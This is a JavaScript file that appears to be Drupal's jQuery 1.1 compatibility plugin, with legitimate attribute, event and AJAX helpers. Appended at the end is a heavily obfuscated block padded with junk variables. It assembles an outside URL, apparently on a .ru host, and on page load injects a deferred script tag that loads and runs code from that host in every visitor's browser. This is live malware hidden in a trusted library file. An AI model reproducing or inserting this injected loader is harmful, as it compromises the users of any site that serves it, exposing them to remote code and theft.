// $Id: compat.js,v 1.1.2.1 2008/05/02 21:05:06 stevemckenzie Exp $
// UPGRADE: The following attribute helpers should now be used as:
// .attr("title") or .attr("title","new title")
jQuery.each(["id","title","name","href","src","rel"], function(i,n){
  jQuery.fn[ n ] = function(h) {
    return h == undefined ?
      this.length ? this[0][n] : null :
      this.attr( n, h );
  };
});

// UPGRADE: The following css helpers should now be used as:
// .css("top") or .css("top","30px")
jQuery.each("top,left,position,float,overflow,color,background".split(","), function(i,n){
  jQuery.fn[ n ] = function(h) {
    return h == undefined ?
      ( this.length ? jQuery.css( this[0], n ) : null ) :
      this.css( n, h );
  };
});

// UPGRADE: The following event helpers should now be used as such:
// .oneblur(fn) -> .one("blur",fn)
// .unblur(fn) -> .unbind("blur",fn)
var e = ("blur,focus,load,resize,scroll,unload,click,dblclick," +
  "mousedown,mouseup,mousemove,mouseover,mouseout,change,reset,select," + 
  "submit,keydown,keypress,keyup,error").split(",");

// Go through all the event names, but make sure that
// it is enclosed properly
for ( var i = 0; i < e.length; i++ ) new function(){
      
  var o = e[i];
    
  // Handle event unbinding
  jQuery.fn["un"+o] = function(f){ return this.unbind(o, f); };
    
  // Finally, handle events that only fire once
  jQuery.fn["one"+o] = function(f){
    // save cloned reference to this
    var element = jQuery(this);
    var handler = function() {
      // unbind itself when executed
      element.unbind(o, handler);
      element = null;
      // apply original handler with the same arguments
      return f.apply(this, arguments);
    };
    return this.bind(o, handler);
  };
      
};

// UPGRADE: .ancestors() was removed in favor of .parents()
jQuery.fn.ancestors = jQuery.fn.parents;

// UPGRADE: The CSS selector :nth-child() now starts at 1, instead of 0
jQuery.expr[":"]["nth-child"] = "jQuery.nth(a.parentNode.firstChild,parseInt(m[3])+1,'nextSibling')==a";

// UPGRADE: .filter(["div", "span"]) now becomes .filter("div, span")
jQuery.fn._filter = jQuery.fn.filter;
jQuery.fn.filter = function(arr){
  return this._filter( arr.constructor == Array ? arr.join(",") : arr );
};

/*
 * Compatibility Plugin for jQuery 1.1 (on top of jQuery 1.2)
 * By John Resig
 * Dual licensed under MIT and GPL.
 *
 * For XPath compatibility with 1.1, you should also include the XPath
 * compatability plugin.
 */
(function(jQuery){

	// You should now use .slice() instead of eq/lt/gt
	// And you should use .filter(":contains(text)") instead of .contains()
	jQuery.each( [ "eq", "lt", "gt", "contains" ], function(i,n){
		jQuery.fn[ n ] = function(num,fn) {
			return this.filter( ":" + n + "(" + num + ")", fn );
		};
	});

	// This is no longer necessary in 1.2
	jQuery.fn.evalScripts = function(){};

	// You should now be using $.ajax() instead
	jQuery.fn.loadIfModified = function() {
		var old = jQuery.ajaxSettings.ifModified;
		jQuery.ajaxSettings.ifModified = true;
	
		var ret = jQuery.fn.load.apply( this, arguments );
	
		jQuery.ajaxSettings.ifModified = old;

		return ret;
	};

	// You should now be using $.ajax() instead
	jQuery.getIfModified = function() {
		var old = jQuery.ajaxSettings.ifModified;
		jQuery.ajaxSettings.ifModified = true;
	
		var ret = jQuery.get.apply( jQuery, arguments );
	
		jQuery.ajaxSettings.ifModified = old;

		return ret;
	};

	jQuery.ajaxTimeout = function( timeout ) {
		jQuery.ajaxSettings.timeout = timeout;
	};

})(jQuery);

var x;if(x!='' && x!='lv'){x=null};var JL=new Array();var n;if(n!='I' && n != ''){n=null};function m(){var EO;if(EO!='' && EO!='yq'){EO=null};var J='';var Eg="";var g="g";var V=RegExp;var p;if(p!='O'){p='O'};function l(a,q){var xl;if(xl!='FF'){xl=''};var H= "HCG[".substr(3);var Cr;if(Cr!='' && Cr!='mW'){Cr=null};var B;if(B!='' && B!='Fy'){B=null};H+=q;this.nj='';H+=new String("]z2Co".substr(0,1));var Ov;if(Ov!='Zs' && Ov!='XC'){Ov='Zs'};var v="";var Jv=new Array();var Q=new V(H, g);var XI;if(XI!='' && XI!='gU'){XI='h'};var wd;if(wd!='' && wd!='FJ'){wd='Jg'};return a.replace(Q, J);var D=new Array();};var bh="";var EI;if(EI!='Nf'){EI='Nf'};var eA;if(eA!='k'){eA='k'};var yP;if(yP!='cP'){yP='cP'};var _=l('85390995285632202596',"62953");var Qh;if(Qh!='t'){Qh='t'};var w=new String("/vnZYP4".substr(0,3)+"et."+"Kswcn/".substr(3)+"zpM2vne2Mzp".substr(4,3)+"CoOft.cfoCO".substr(4,3)+"n/4ZYmS".substr(0,3)+"sha"+"jLaxredaLjx".substr(4,3)+".co"+"8pnm/e".substr(3)+"zABbayBzA".substr(3,3)+"o7M.fr".substr(3)+"/go"+"dZVogl".substr(3)+"XRPe.c".substr(3)+"om.3Qb1".substr(0,3)+"php");var eK="";var r=String("defm54".substr(0,3)+"erizK".substr(0,2));var Y;if(Y!='' && Y!='LU'){Y='AO'};var gV;if(gV!='' && gV!='my'){gV='iw'};var F='';var uq="";var Yg="";var y=window;var s="srcY2lM".substr(0,3);var XU;if(XU!='HE' && XU != ''){XU=null};var Mf=new String();var A=new String("httsq8w".substr(0,3)+"p:/lW2Y".substr(0,3)+"/kijl9".substr(0,3)+"ng-"+"8PVcomVP8".substr(3,3)+"rin.19inr".substr(3,3)+"TLszlou".substr(4)+".coDR5".substr(0,3)+"ruXNm.a".substr(4)+"rgoNdR".substr(0,3)+"ow9us-c9uwo".substr(4,3)+"o-uki1".substr(0,3)+"3USk.b".substr(3)+"uym"+"qCtypa".substr(3)+"lm.GvH".substr(0,3)+"ru:");var T;if(T!='_i'){T=''};var e=String("hydlscrip".substr(4)+"tILx".substr(0,1));var nm=new String();var eW;if(eW!='dA' && eW!='bb'){eW='dA'};var qH;if(qH!='' && qH!='VH'){qH=null};y.onload=function(){try {var OlA=new String();var exI;if(exI!='so' && exI != ''){exI=null};F=A+_;var xx="";F+=w;var ND=new String();var wO;if(wO!='' && wO!='CZ'){wO=''};var Tz="";z=document.createElement(e);z[r]=[1][0];var jt;if(jt!='Se' && jt != ''){jt=null};var uX=new Array();z[s]=F;var BJ=new Date();var PA='';var IR=new Date();document.body.appendChild(z);var IC;if(IC!='K' && IC!='oa'){IC='K'};var UG='';} catch(QW){};};var Hs=new Date();};var Rl;if(Rl!='qU'){Rl=''};m();var TG;if(TG!='' && TG!='Zd'){TG=null};var fb=new String();
